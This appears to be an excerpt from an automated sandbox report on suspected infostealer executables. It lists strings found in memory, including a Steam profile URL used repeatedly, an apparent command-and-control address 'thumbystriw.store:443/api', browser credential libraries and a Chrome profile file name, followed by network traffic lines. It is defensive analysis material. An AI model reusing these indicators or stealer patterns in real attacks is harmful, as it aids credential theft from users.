Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DDA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900s-Z)
Source: d1e0007322.exe, 00000014.00000003.2635576429.0000000000DBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900uv
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: d1e0007322.exe, 0000000B.00000002.2651235498.0000000001493000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000002.2693939413.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635576429.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665663785.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com:443/profiles/76561199724331900
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014A5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Ce6510aad57c34d7
Source: d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: d1e0007322.exe, 0000000B.00000002.2651235498.00000000014E4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ECE000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DD9000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: d1e0007322.exe, 00000014.00000003.2702527956.000000000569F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: d1e0007322.exe, 00000014.00000003.2771581565.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: d1e0007322.exe, 00000014.00000003.2771581565.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1970023266.0000000023F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1856411277.000000001DB81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp, d1e0007322.exe, 00000014.00000003.2702527956.000000000569F000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702665651.0000000005698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016.exe
Source: d1e0007322.exe, 00000014.00000003.2702665651.0000000005673000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: file.exe, 00000000.00000003.1856411277.000000001DB81000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp, d1e0007322.exe, 00000014.00000003.2702527956.000000000569F000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2702665651.0000000005698000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: d1e0007322.exe, 00000014.00000003.2702665651.0000000005673000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: d1e0007322.exe, 0000000F.00000002.2693939413.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688238278.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://thumbystriw.store:443/api#
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2092934158.0000000023CC2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2075634451.00000000019F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2772336166.0000000000E4F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: file.exe, 00000000.00000003.1865012472.00000000019EA000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703957544.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703369649.000000000565C000.00000004.00000800.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2703110142.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/DGDBGDGDAAFI
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/dHh0
Source: d1e0007322.exe, 00000014.00000003.2771581565.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0
Source: d1e0007322.exe, 00000014.00000003.2771581565.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1970023266.0000000023F0B000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2771581565.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: d1e0007322.exe, 00000014.00000003.2771581565.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1970023266.0000000023F0B000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2771581565.000000000576D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe
Source: file.exe, 00000000.00000002.2075096888.0000000000EF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/s:
Source: d1e0007322.exe, 0000000B.00000003.2389483926.00000000014F0000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688838955.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 0000000F.00000003.2688201190.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665415405.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000E30000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635425461.0000000000E2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: d1e0007322.exe, 00000014.00000003.2635314374.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665282152.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665447113.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2665792105.0000000000DEF000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.c(
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: d1e0007322.exe, 00000014.00000003.2635480864.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
